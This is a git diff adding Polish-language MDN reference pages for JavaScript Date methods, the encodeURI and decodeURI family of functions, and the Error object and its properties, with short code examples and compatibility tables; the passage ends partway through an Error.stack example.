JavaScript wywołuje metodę toString() automatycznie wtedy, gdy data jest reprezentowana jako wartość tekstowa lub kieruje powiązanym łańcuchem znaków.

+ +

Przykłady

+ +

Przykład: Zastosowanie toString()

+ +

Następujący przykład przydziela toString wartość obiektu Date do myVar:

+ +
var x = new Date();
+myVar=x.toString();   //przydziela wartość myVar, podobnie do:
+// Mon Sep 28 14:36:22 GMT-0700 (Pacific Daylight Time) 1998
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/pl/web/javascript/reference/global_objects/date/toutcstring/index.html new file mode 100644 index 0000000000..529b9bf434 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/toutcstring/index.html @@ -0,0 +1,43 @@ +--- +title: Date.prototype.toUTCString() +slug: Web/JavaScript/Referencje/Obiekty/Date/toUTCString +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Konwertuje datę na łańcuch znaków, używając do konwersji czasu uniwersalnego.

+ +

Składnia

+ +
dateObj.toUTCString()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Wartość zwracana przez toUTCString() jest sformatowanym i tylko do odczytu łańcuchem znaków, stosowanym do konwersji UTC. Wartość zwracanego formatu może być określona stosownie do platformy.

+ +

Przykłady

+ +

Przykład: Zastosowanie toUTCString()

+ +
var today = new Date();
+var UTCstring = today.toUTCString();
+// Mon, 03 Jul 2006 21:44:38 GMT
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/utc/index.html b/files/pl/web/javascript/reference/global_objects/date/utc/index.html new file mode 100644 index 0000000000..0bc3a38e6c --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/utc/index.html @@ -0,0 +1,69 @@ +--- +title: Date.UTC() +slug: Web/JavaScript/Referencje/Obiekty/Date/UTC +tags: + - Date + - JavaScript + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Date/UTC +--- +
{{JSRef}}
+ +

Podsumowanie

+ +

Akceptuje te same parametry co najdłuższa forma konstruktora i zwraca liczbę milisekund w obiekcie {{jsxref("Date")}}, które upłynęły od 1 stycznia, 1970, 00:00:00, czasu uniwersalnego.

+ +

Składnia

+ +
Date.UTC(rok, miesiąc[, dzień[, godz[, min[, sek[, ms]]]]])
+ +

Parametry

+ +
+
rok 
+
Rok po 1900.
+
miesiąc 
+
Liczba całkowita pomiędzy 0 i 11 reprezentująca miesiąc.
+
dzień 
+
Liczba całkowita pomiędzy 1 i 31 reprezentująca dzień miesiąca.
+
godz 
+
Liczba całkowita pomiędzy 0 i 23 reprezentująca godziny.
+
min 
+
Liczba całkowita pomiędzy 0 i 59 reprezentująca minuty.
+
sek 
+
Liczba całkowita pomiędzy 0 i 59 reprezentująca sekundy.
+
ms 
+
Liczba całkowita pomiędzy 0 i 999 reprezentująca milisekundy.
+
+ +

Opis

+ +

UTC pobiera parametry daty oddzielone za pomocą przecinków i zwraca liczbę milisekund między 1 stycznia, 1970, 00:00:00, czasu uniwersalnego a określoną datą.

+ +

Powinno używać się pełnego zapisu roku, na przykład 1998. Jeśli określony jest rok z przedziału pomiędzy 0 a 99, metoda konwertuje go do roku w 20 wieku (1900 + rok); na przykład, jeśli określiłeś go jako 95, zostanie użyty rok 1995.

+ +

Metoda UTC różni się od konstruktora {{jsxref("Date")}} na dwa sposoby.

+ + + +

Jeśli parametr określony jest poza spodziewanym zasięgiem, metoda UTC zaktualizuje pozostałe parametry. Na przykład, jeśli użyjesz liczby 15 do określenia miesiąca, wartość parametru rok zostanie powiększona o 1 (rok + 1), a 3 zostanie użyte w parametrze miesiąc.

+ +

Ponieważ UTC jest statyczną metodą obiektu {{jsxref("Date")}}, zawsze powinno używać się jej jako Date.UTC(), niż jako metodę utworzonego obiektu {{jsxref("Date")}}.

+ +

Przykłady

+ +

Przykład: Zastosowanie Date.UTC()

+ +

Następująca instrukcja tworzy obiekt Date używający GMT (czasu uniwersalnego) zamiast czasu lokalnego:

+ +
var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0));
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/date/valueof/index.html b/files/pl/web/javascript/reference/global_objects/date/valueof/index.html new file mode 100644 index 0000000000..76d54c2187 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/date/valueof/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/Date/valueOf +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf +--- +

{{JSRef}}

+ +

Podsumowanie

+ +

Zwraca prymitywną wartość obiektu Date.

+ +

Składnia

+ +
dateObj.valueOf()
+ +

Parametry

+ +

Brak.

+ +

Opis

+ +

Metoda valueOf zwraca wartość prymitywną obiektu {{jsxref("Date")}} jako typ danych liczbowych, czyli liczbę milisekund od północy 1 stycznia 1970 UTC.

+ +

Ta metoda jest funkcyjnie równoważna do metody {{jsxref("Date.prototype.getTime()")}}.

+ +

Ta metoda często jest nazywana wewnętrzną metodą JavaScriptu i nie jest wyraźna w kodzie.

+ +

Przykłady

+ +

Przykład: Zastosowanie valueOf()

+ +
var x = new Date(56, 6, 17);
+var myVar = x.valueOf();      // przydziela -424713600000 do myVar
+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/decodeuri/index.html b/files/pl/web/javascript/reference/global_objects/decodeuri/index.html new file mode 100644 index 0000000000..f88686b8a3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/decodeuri/index.html @@ -0,0 +1,39 @@ +--- +title: decodeURI() +slug: Web/JavaScript/Referencje/Obiekty/decodeURI +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI +--- +
{{jsSidebar("Objects")}}
+ +

Podsumowanie

+ +

Dekoduje Jednolity Identyfikator Zasobu (URI) utworzony wcześniej przez funkcję {{jsxref("encodeURI", "encodeURI()")}} lub podobną.

+ +

Składnia

+ +
decodeURI(encodedURI)
+ +

Parametry

+ +
+
encodedURI 
+
Kompletny, odkodowany Jednolity Identyfikator Zasobu.
+
+ +

Opis

+ +

Podmienia każdą sekwencję ucieczki (ang. + escape sequence + ) w zakodowanym URI znakiem, który reprezentuje.

+ +

Nie dekoduje sekwencji, które nie mogłyby być wprowadzone przez {{jsxref("encodeURI", "encodeURI()")}}.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/pl/web/javascript/reference/global_objects/decodeuricomponent/index.html new file mode 100644 index 0000000000..a361e777d8 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/decodeuricomponent/index.html @@ -0,0 +1,41 @@ +--- +title: decodeURIComponent() +slug: Web/JavaScript/Referencje/Obiekty/decodeURIComponent +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Dekoduje komponent Jednolitego Identyfikatora Zasobu (URI) stworzonego przez {{jsxref("encodeURIComponent", "encodeURIComponent()")}} lub podobną.

+ +

Składnia

+ +
decodeURIComponent(encodedURI)
+ +

Parametry

+ +
+
encodedURI 
+
Odkodowany komponent Jednolitego Identyfikatora Zasobu.
+
+ +

Opis

+ +

Podmienia każdą sekwencję ucieczki (ang. + escape sequence + ) w zakodowanym komponencie URI znakiem, który ona reprezentuje.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/encodeuri/index.html b/files/pl/web/javascript/reference/global_objects/encodeuri/index.html new file mode 100644 index 0000000000..b794a414b3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/encodeuri/index.html @@ -0,0 +1,72 @@ +--- +title: encodeURI() +slug: Web/JavaScript/Referencje/Obiekty/encodeURI +tags: + - JavaScript + - URI +translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI +--- +
+
+
{{jsSidebar("Objects")}}
+
+
+ +

Podsumowanie

+ +

Koduje Jednolity Identyfikator Zasobu (URI) poprzez zamianę każdego z wystąpień pewnych znaków na jedną, dwie lub trzy sekwencje ucieczki (ang. + escape sequences + ) kodowania UTF-8 danego znaku.

+ +

Syntax

+ +
encodeURI(URI)
+ +

Parametry

+ +
+
URI 
+
Kompletny Jednolity Identyfikator Zasobu.
+
+ +

Opis

+ +

Zakłada się, iż URI jest kompletnym URI, więc nie koduje znaków zarezerwowanych, mających specjalne znaczenie w URI.

+ +

encodeURI zamienia wszystkie znaki, poza podanymi poniżej, odpowiednimi sekwencjami ucieczki.

+ + + + + + + + + + + + + + + + + + + + +
TypZawiera
Znaki zarezerwowane; , / ? : @ & = + $
Znaki nie podlegające ucieczceLitery, cyfry, - _ . ! ~ * ' ( )
+ Score + #
+ +

Zauważ, że encodeURI samo z siebie + + nie + potrafi utworzyć poprawnych żądań HTTP GET i POST, jak na przykład XMLHTTPRequest, ponieważ "&", "+", i "=" nie są kodowane, a są traktowane jako znaki specjalne w żądaniach GET i POST. Jednakże, {{jsxref("encodeURIComponent", "encodeURIComponent()")}}, koduje te znaki. Zachowania te są konsekwentnie wspomagane przez różne przeglądarki.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/pl/web/javascript/reference/global_objects/encodeuricomponent/index.html new file mode 100644 index 0000000000..577cff9840 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/encodeuricomponent/index.html @@ -0,0 +1,38 @@ +--- +title: encodeURIComponent() +slug: Web/JavaScript/Referencje/Obiekty/encodeURIComponent +tags: + - JavaScript + - URI +translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent +--- +
{{jsSidebar("Objects")}}
+ +

Podsumowanie

+ +

Koduje każdy komponent Jednolitego Identyfikatora Zasobu (URI) poprzez zamianę, każdego wystąpienia pewnych znaków jedną, dwoma lub trzema sekwencjami ucieczki reprezentujące kodowanie UTF-8 znaku.

+ +

Składnia

+ +
encodeURIComponent(str);
+ +

Parametry

+ +
+
str
+
Komponent Jednolitego Identyfikatora Zasobu.
+
+ +

Opis

+ +

encodeURIComponent() zamienia wszystkie znaki na sekwencje ucieczki poza znakami: alfabetycznymi, cyframi, - _ . ! ~ * ' ( )

+ +

Ze względów bezpieczeństwa, powinieneś wywoływać encodeURIComponent na każdym parametrze podanym przez użytkownika, który będzie podany jako część URI. Na przykład, użytkownik mógł wpisać "Thyme &time=again" dla zmiennej comment. Nie użycie encodeURIComponent na tej zmiennej da comment=Thyme%20&time=again. Zauważ, że znak ampersand (&) i znak równości (= ) oznaczają nową parę kluczy i wartość. Więc, zamiast wysyłać klucz comment równy Thyme &time=again, dostaniesz dwa klucze POST, jeden równy "Thyme" , a drugi (time) równy again.

+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/columnnumber/index.html b/files/pl/web/javascript/reference/global_objects/error/columnnumber/index.html new file mode 100644 index 0000000000..dbf51b3bf3 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/columnnumber/index.html @@ -0,0 +1,81 @@ +--- +title: Error.prototype.columnNumber +slug: Web/JavaScript/Referencje/Obiekty/Error/columnNumber +translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber +--- +
{{JSRef}} {{non-standard_header}}
+ +

The columnNumber property contains the column number in the line of the file that raised this error.

+ +

Examples

+ +

Using columnNumber

+ +
var e = new Error('Could not parse input');
+throw e;
+console.log(e.columnNumber) // 0
+
+ +

Specifications

+ +

Not part of any specification. Non-standard.

+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/filename/index.html b/files/pl/web/javascript/reference/global_objects/error/filename/index.html new file mode 100644 index 0000000000..a0290eac45 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/filename/index.html @@ -0,0 +1,49 @@ +--- +title: Error.prototype.fileName +slug: Web/JavaScript/Referencje/Obiekty/Error/fileName +tags: + - JavaScript + - Prototyp + - Prototype + - Właściwość + - niestandardowe +translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName +--- +
{{JSRef}} {{non-standard_header}}
+ +

Właściwość fileName zawiera ścieżkę do pliku, który spowodował błąd.

+ +

Opis

+ +

Ta nieopisana w żadnym standardzie właściwość zawiera ścieżkę do pliku, który spowodował błąd. Jeśli jest wywoływana z kontekstu debuggera, jak na przykład Firefox Developer Tools, zwracana jest wartość "debugger eval code".

+ +

Przykłady

+ +

Użycie fileName

+ +
var e = new Error('Błąd przy parsowaniu wejścia');
+throw e;
+// wartość e.fileName powinna być czymś podobnym do "file:///C:/example.html"
+
+ +

Specyfikacje

+ +

Nie jest częścią żadnego standardu.

+ +

Wsparcie przeglądarek

+ +
+
+ + +

{{Compat("javascript.builtins.Error.fileName")}}

+
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/index.html b/files/pl/web/javascript/reference/global_objects/error/index.html new file mode 100644 index 0000000000..408b1b797b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/index.html @@ -0,0 +1,246 @@ +--- +title: Error +slug: Web/JavaScript/Referencje/Obiekty/Error +tags: + - Błąd + - CustomError + - Error + - JavaScript + - Obsługa błędów +translation_of: Web/JavaScript/Reference/Global_Objects/Error +--- +
{{JSRef}}
+ +
Kontruktor klasy Error tworzy obiekt błędu. Instancja klasy Error jest rzucana w momencie napotkania błędu w trakcie wykonywania programu. Klasa Error może być także używana do tworzenia własnych wyjątków. Poniżej przestawione zostaną wbudowane standardowe typy błędów.
+ +

Składnia

+ +
new Error([message[, fileName[, lineNumber]]])
+ +

Parametry

+ +
+
message
+
Opcjonalny. Opis błędu zrozumiały dla użytkownika.
+
fileName {{non-standard_inline}}
+
Opcjonalny. Wartość dla parametru fileName przy tworzeniu obiektu Error. Domyślnie to nazwa pliku zawierającego kod, który wywołał konstruktor.
+
lineNumber {{non-standard_inline}}
+
Opcjonalny. Wartość dla paramteru lineNumber przy tworzeniu obiektu Error. Domyślnie zawiera numer linijki zawirającej wywołanie konstruktora klasy Error.
+
+ +

Opis

+ +

Błędy w trakcie wykonywania programu skutkują utworzeniem i rzuceniem nowego obiektu Error.

+ +

This page documents the use of the Error object itself and its use as a constructor function. For a list of properties and methods inherited by Error instances, see {{jsxref("Error.prototype")}}.

+ + + +

Używanie jako funkcja

+ +

Gdy Error jest używany jako funkcja -- bez słowa kluczowego new, zwraca on obiekt Error. Możemy więc zauważyć, że zwykłe wywołanie Error zwróci nam to samo co stworznie nowego obiektu Error przy pomocy słowa kluczowego new.

+ +
// to:
+const x = Error('Jestem stworzony przy pomocy wyowałania funkcji!');
+​​​​// działa tak samo jak to:
+const y = new Error('Jestem stworzony przy pomocy słowa kluczowego "new"!');
+ + + +

Typy błędów

+ +

Oprócz konstruktora generycznego Error, mamy jeszcze siedem innych podstawowych konstruktorów błędów w JavaScript. Dla wyjątów po stronie klienta zobacz Exception Handling Statements.

+ +
+
{{jsxref("EvalError")}}
+
Tworzy instancje reprezentującą błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}.
+
{{jsxref("InternalError")}} {{non-standard_inline}}
+
Tworzy instancje reprezentującą błąd, który występuje w momencie wyrzucenia wewnętrznego błędu silnika JavaScript np. "too much recursion".
+
{{jsxref("RangeError")}}
+
Tworzy instancje reprezentującą błąd, który występuje w momencie gdy zmienna numeryczna lub parametr wyjdzie poza zakres. 
+
{{jsxref("ReferenceError")}}
+
Tworzy instancje reprezentującą błąd, który występuje przy próbie odwołania do nieistniejącego zasobu.
+
{{jsxref("SyntaxError")}}
+
Tworzy instancje reprezentującą błąd składni, który występuje przy parsowaniu kodu przy pomocy {{jsxref("Global_Objects/eval", "eval()")}}.
+
{{jsxref("TypeError")}}
+
Tworzy instancję reprezentującą błąd, który występuje gdy zmienna lub parametr mają niepoprawny typ.
+
{{jsxref("URIError")}}
+
Tworzy instancję reprezentującą błąd, który występuje gdy {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} i {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} mają przekazane nieprawidłowe parametry.
+
+ +

Właściwości

+ +
+
{{jsxref("Error.prototype")}}
+
Pozwala na dodawanie właściwości do instancji klasy Error.
+
+ +

Metody

+ +

Globalny obiekt Error sam w sobie nie zawiera metod, niemniej, dziedziczy on niektóre metody z łańcucha prototypów.

+ +

Error instancje

+ +
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Description')}}
+ +

Właściwości

+ +
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Properties')}}
+ +

Metody

+ +
{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Methods')}}
+ +

Przykłady

+ +

Rzucanie ogólnego błędu

+ +

Zazwyczaj tworzysz obiekt Error w celu wywołania go przy użyciu słowa kluczowego {{jsxref("Statements/throw", "throw")}}. Możesz obsłużyć tak rzucony błąd przy pomocy konstrukcji {{jsxref("Statements/try...catch", "try...catch")}}:

+ +
try {
+  throw new Error('Whoops!');
+} catch (e) {
+  alert(e.name + ': ' + e.message);
+}
+
+ +

Obsługa specyficznych błędów

+ +

Jeżeli chcesz możesz obsługiwać tylko specyficzny rodzaj błędu poprzez użycie właściwości jego {{jsxref("Object.prototype.constructor", "constructor")}} lub, jeżeli używasz nowoczesnego silnika JavaScript, poprzez słowo kluczowe {{jsxref("Operators/instanceof", "instanceof")}}:

+ +
try {
+  foo.bar();
+} catch (e) {
+  if (e instanceof EvalError) {
+    alert(e.name + ': ' + e.message);
+  } else if (e instanceof RangeError) {
+    alert(e.name + ': ' + e.message);
+  }
+  // ... etc
+}
+
+ +

Niestandardowe typy błędów

+ +

Możesz chcieć zdefiniować własny typ błędu pochodzący z klasy Error z możliwością rzucenia błędu throw new MyError() i użycia instanceof MyError w celu sprawdzenia jego rodzaju. Skutkuje to czystszym i spójniejszym kodem obsługi błędów. Zobacz "What's a good way to extend Error in JavaScript?" na StackOverflow dla dogłębniejszej analizy.

+ +

ES6 Custom Error Class

+ +
+

Babel i inne transpilatory nie potrafią poprawnie obsłużyć podanego kodu bez dodatkowej konfiguracji.

+
+ +
+

Nie które przeglądarki dodają constructor CustomError w stosie błędu kiedy używamy klas ES2015

+
+ +
class CustomError extends Error {
+  constructor(foo = 'bar', ...params) {
+    // Pass remaining arguments (including vendor specific ones) to parent constructor
+    super(...params);
+
+    // Maintains proper stack trace for where our error was thrown (only available on V8)
+    if (Error.captureStackTrace) {
+      Error.captureStackTrace(this, CustomError);
+    }
+
+    // Custom debugging information
+    this.foo = foo;
+    this.date = new Date();
+  }
+}
+
+try {
+  throw new CustomError('baz', 'bazMessage');
+} catch(e){
+  console.log(e.foo); //baz
+  console.log(e.message); //bazMessage
+  console.log(e.stack); //stacktrace
+}
+ +

ES5 Custom Error Object

+ +
+

Wszystkie przeględarki dodają konstruktor CustomError kiedy używasz konstruktora z wykorzystaniem prototype

+
+ +
function CustomError(foo, message, fileName, lineNumber) {
+  var instance = new Error(message, fileName, lineNumber);
+  instance.foo = foo;
+  Object.setPrototypeOf(instance, Object.getPrototypeOf(this));
+  if (Error.captureStackTrace) {
+    Error.captureStackTrace(instance, CustomError);
+  }
+  return instance;
+}
+
+CustomError.prototype = Object.create(Error.prototype, {
+  constructor: {
+    value: Error,
+    enumerable: false,
+    writable: true,
+    configurable: true
+  }
+});
+
+if (Object.setPrototypeOf){
+  Object.setPrototypeOf(CustomError, Error);
+} else {
+  CustomError.__proto__ = Error;
+}
+
+
+try {
+  throw new CustomError('baz', 'bazMessage');
+} catch(e){
+  console.log(e.foo); //baz
+  console.log(e.message) ;//bazMessage
+}
+ +

Specyfikacja

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Początkowa definicja. Zaimplementowana w JavaScript 1.1.
{{SpecName('ES5.1', '#sec-15.11', 'Error')}}{{Spec2('ES5.1')}}
{{SpecName('ES2015', '#sec-error-objects', 'Error')}}{{Spec2('ES2015')}}
{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}{{Spec2('ESDraft')}}
+ +

Kompatybilność

+ +
+ + +

{{Compat("javascript.builtins.Error")}}

+
+ +

Zobacz także

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/linenumber/index.html b/files/pl/web/javascript/reference/global_objects/error/linenumber/index.html new file mode 100644 index 0000000000..20d725f492 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/linenumber/index.html @@ -0,0 +1,57 @@ +--- +title: Error.prototype.lineNumber +slug: Web/JavaScript/Referencje/Obiekty/Error/lineNumber +tags: + - JavaScript + - Prototyp + - Prototype + - Referencja + - Własność + - niestandardowe +translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber +--- +
{{JSRef}} {{non-standard_header}}
+ +

Właściwość lineNumber zawiera numer linii w pliku, gdzie pojawił się błąd.

+ +

Przykłady

+ +

Użycie lineNumber

+ +
var e = new Error('Błąd przy parsowaniu wejścia');
+throw e;
+console.log(e.lineNumber) // 2
+
+ +

Alternatywny przykład użycia zdarzenia error

+ +
window.addEventListener('error', function(e) {
+  console.log(e.lineNumber); // 5
+});
+var e = new Error('Błąd przy parsowaniu wejścia');
+throw e;
+
+ +

Własność lineNumber jest niestandardowa i nie posiada szerokiego wsparcia – zobacz tabelę opisującą wsparcie przeglądarek dla tej własności.

+ +

Specyfikacje

+ +

Nie jest częścią żadnego standardu.

+ +

Wsparcie przeglądarek

+ +
+
+ + +

{{Compat("javascript.builtins.Error.lineNumber")}}

+
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/message/index.html b/files/pl/web/javascript/reference/global_objects/error/message/index.html new file mode 100644 index 0000000000..1f3983fa6b --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/message/index.html @@ -0,0 +1,108 @@ +--- +title: Error.prototype.message +slug: Web/JavaScript/Referencje/Obiekty/Error/message +translation_of: Web/JavaScript/Reference/Global_Objects/Error/message +--- +
{{JSRef}}
+ +

Właściwość message jest komunikatem błędu zapisanym w sposób czytelny dla czlowieka.

+ +

Opis

+ +

Właściwość zawiera krótki opis błędu, jeśli jest dostępny, lub został ustawiony. SpiderMonkey szeroko wykorzystuje właściwość message w wyjątkach. Właściwość message jest używany, wraz z właściwością {{jsxref("Error.prototype.name", "name")}} przez metodę {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.

+ +

Domyślnie właściwość message jest pustym stringiem, ale to zachowanie może zostać nadpisane w instancji, poprzez przekazanie komunikatu jako pierwszy parametr do {{jsxref("Error", "Error constructor")}}.

+ +

Przykłady

+ +

Rzucanie ustawionego błędu

+ +
var e = new Error('Could not parse input'); // e.message is 'Could not parse input'
+throw e;
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}{{Spec2('ES6')}} 
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/name/index.html b/files/pl/web/javascript/reference/global_objects/error/name/index.html new file mode 100644 index 0000000000..11521ec4fd --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/name/index.html @@ -0,0 +1,109 @@ +--- +title: Error.prototype.name +slug: Web/JavaScript/Referencje/Obiekty/Error/name +translation_of: Web/JavaScript/Reference/Global_Objects/Error/name +--- +
{{JSRef}}
+ +

Właściwość name reprezentuję nazwę danego typu błędu. Początkową wartością jest "Error".

+ +

Opis

+ +

Domyślnie, instancje {{jsxref("Error")}} mają ustawioną nazwę "Error". Właściwość name, razem z właściwością {{jsxref("Error.prototype.message", "message")}}, jest używana przez metodę  {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.

+ +

Przykłady

+ +

Rzucanie ustawionego błędu

+ +
var e = new Error('Malformed input'); // e.name is 'Error'
+
+e.name = 'ParseError';
+throw e;
+// e.toString() would return 'ParseError: Malformed input'
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition.
{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}{{Spec2('ES6')}} 
+ +

Kompatybilność z przeglądarkami

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

Zobacz też

+ + diff --git a/files/pl/web/javascript/reference/global_objects/error/stack/index.html b/files/pl/web/javascript/reference/global_objects/error/stack/index.html new file mode 100644 index 0000000000..01c2129f21 --- /dev/null +++ b/files/pl/web/javascript/reference/global_objects/error/stack/index.html @@ -0,0 +1,127 @@ +--- +title: Error.prototype.stack +slug: Web/JavaScript/Referencje/Obiekty/Error/Stack +tags: + - JavaScript + - Prototyp + - Referencja + - Własność + - niestandardowe +translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack +--- +
{{JSRef}} {{non-standard_header}}
+ +

Niestandardowa własność stack obiektów {{jsxref("Error")}} podaje ścieżkę wywołań funkcji – które z nich były wywołane, w jakiej kolejności, z której linii i pliku, z jakimi argumentami. Stos wywołań zaczyna się od ostatnich wywołań, przez wcześniejsze, prowadząc do pierwotnego wywołania z zakresu globalnego.

+ +

Opis

+ +

Każdy krok będzie znajdował się w oddzielnej linii, zawierając w pierwszej części nazwę funkcji (jeśli nie jest to wywołanie z zakresu globalnego), następnie znak at (@), lokalizację pliku (z wyjątkiem sytuacji, w których funkcja jest konstruktorem zgłaszanego błędu), dwukropek oraz numer linii (jeśli zdefiniowana jest lokalizacja pliku). (Zauważ, że obiekt {{jsxref("Error")}} także posiada własności fileName, lineNumber i columnNumber, które można odczytać z danego błędu, jednak jedynie błędu, a nie jego stosu wywołań).

+ +

Należy podkreślić, że opisany wyżej format jest formatem przeglądarki Firefox – nie ma standardu formatowania, jednakże Safari 6+ i Opera 12- używają bardzo podobnego formatu. Przeglądarki używające silnika JavaScript V8 (takie jak Chrome, Opera 15+, Android Browser) oraz IE10+, używają natomiast innego formatu (zobacz archiwalną dokumentację MSDN dla error.stack).

+ +

Wartości argumentów w stosie: w wersjach wcześniejszych niż Firefox 14, po nazwie funkcji następowały wartości argumentów przekonwertowane do łańcucha znaków (string) w nawiasach, przed znakiem at (@). Podczas gdy obiekt (lub tablica itp.) pojawia się w przekonwertowanej formie "[object Object]" i nie może być przekonwertowany z powrotem do właściwych obiektów, wartości skalarne mogą być odzyskane (choć być może — w Firefoksie 14 nadal jest to możliwe — łatwiej będzie użyć arguments.callee.caller.arguments, tak jak nazwa funkcji może być uzyskana przez  arguments.callee.caller.name). "undefined" jest wylistowany jako "(void 0)". Zauważ, że jeśli argumenty typu string były przekazane z wartościami takimi jak "@", "(", ")" (lub znaki te występują w nazwach plików), nie możesz polegać po prostu na podzieleniu linii na części składowe – dlatego w Firefoksie 14 i nowszych jest to mniejszy problem.

+ +

Różne przeglądarki ustawiają tę wartość w różnych momentach. Przykładowo, Firefox ustawia ją podczas tworzenia obiektu {{jsxref("Error")}}, natomiast PhantomJS ustawia ją jedynie podczas wyrzucania {{jsxref("Error")}} – i archiwalna dokumentacja MSDN również wydaje się zgadzać z implementacją PhantomJS.

+ +

Przykłady

+ +

Użycie własności stack

+ +

Poniższy dokument HTML prezentuje użycie własności stack.

+ +
<!DOCTYPE HTML>
+<meta charset="UTF-8">
+<title>Stack Trace Example</title>
+<body>
+<script>
+function trace() {
+  try {
